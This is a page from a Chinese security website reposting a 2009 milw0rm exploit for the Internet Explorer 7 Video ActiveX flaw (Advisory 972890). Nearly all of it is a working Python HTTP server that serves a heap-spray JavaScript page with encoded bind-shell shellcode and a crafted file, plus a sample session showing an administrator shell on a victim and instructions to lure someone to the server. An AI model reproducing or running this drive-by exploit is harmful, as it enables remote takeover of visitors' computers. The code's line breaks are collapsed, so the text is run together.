首页 网络安全 安全学院 查看内容

微软IE7视频Avideo ActiveX远程溢出漏洞

2009-7-11 11:13 1044 0

摘要: milw0rm.com [2009-07-10] #!/usr/bin/env python#####################################################...
关键词: Exploit self 0000000000000000 print SecureState Microsoft Explorer myRequestHandler Advisory Internet

milw0rm.com [2009-07-10] #!/usr/bin/env python################################################################################ MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890) ################################################################################ # ## Tested on Windows 2003 SP2 R2, XPSP3 IE7 ## ## Written by SecureState R&D Team ## Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin ## http://www.securestate.com ## ## win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind ## ################################################################################### It's somewhat unreliable, can crash IE at times, found it to be around a 60%# hit.## This exploit is publicly being exploited in the wild, opted to release this# to the research community. Microsoft is aware of the vulnerability.################################################################################### [-] Exploit sent... [-]# [-] Wait about 30 seconds and attempt to connect.[-]# [-]telnet/nc to IP Address: 10.211.55.140 and port 5500 [-]## relik@sslinuxvm1:~$ telnet 10.211.55.140 5500# Trying 10.211.55.140...# Connected to 10.211.55.140.# Escape character is '^]'.# Microsoft Windows [Version 5.2.3790]# (C) Copyright 1985-2003 Microsoft Corp.## C:\Documents and Settings\Administrator\Desktop>from BaseHTTPServer import HTTPServerfrom BaseHTTPServer import BaseHTTPRequestHandlerimport sys,binasciitry:import psycopsyco.full()except ImportError:passclass myRequestHandler(BaseHTTPRequestHandler):try:def do_GET(self):# Always Accept GETself.printCustomHTTPResponse(200)# Site root: Main Menuif self.path == "/ohn0es.webp":unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00")self.wfile.write(unhex)if self.path == "/":target=self.client_address[0]self.wfile.write("""<html><head>""")self.wfile.write("""// Javascript code taken from multiple exploits and exploits that are being actively exploited in the wild<script language="JavaScript" defer>function Check() {// win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3");var bigblock = unescape("%u9090%u9090");var headersize = 20;var slackspace = headersize + shellcode.length;while (bigblock.length < slackspace) bigblock += bigblock;var fillblock = bigblock.substring(0,slackspace);var block = bigblock.substring(0,bigblock.length - slackspace);while (block.length + slackspace < 0x40000) block = block + block + fillblock;var memory = new Array();for (i = 0; i < 350; i++){ memory[i] = block + shellcode}var myObject=document.createElement('object');DivID.appendChild(myObject);myObject.width='1';myObject.height='1';myObject.data='./ohn0es.webp';myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';}</script></head><body onload="Check();"><div id="DivID"> """)self.wfile.write("""<title>MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890)</title></head><body>""")self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running...</p><br>""")print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-]telnet/nc to IP Address: %s and port 5500 [-]" % (target))# Print custom HTTP Responsedef printCustomHTTPResponse(self, respcode):self.send_response(respcode)self.send_header("Content-type", "text/html")self.send_header("Server", "myRequestHandler")self.end_headers() # In case of exceptions, pass themexcept Exception:pass httpd = HTTPServer(('', 80), myRequestHandler)print ("""################################################################################### # MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890) ##################################################################################### ## Tested on Windows 2003 SP2 R2, WinXPSP3 ## ## Written by SecureState R&D Team ## http://www.securestate.com ## Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin ## ## win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind ## ## It's somewhat unreliable, can crash IE at times, found it to be around a 60% ## hit. ## ## This exploit is publicly being exploited in the wild, opted to release this ## to the research community. Microsoft is aware of the vulnerability ## (Advisory 972890). ## ####################################################################################""")print ("[-] Starting MS Internet Explorer 7 Video ActiveX Exploit:80 [-]")print ("[-] Have someone connect to you on port 80 [-]")print ("Type <control>-c to exit..")try:# handle the connectionshttpd.handle_request()# Serve HTTP server foreverhttpd.serve_forever()# Except Keyboard Interrupts and throw custom messageexcept KeyboardInterrupt:print ("\n\nExiting exploit...\n\n")sys.exit()  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部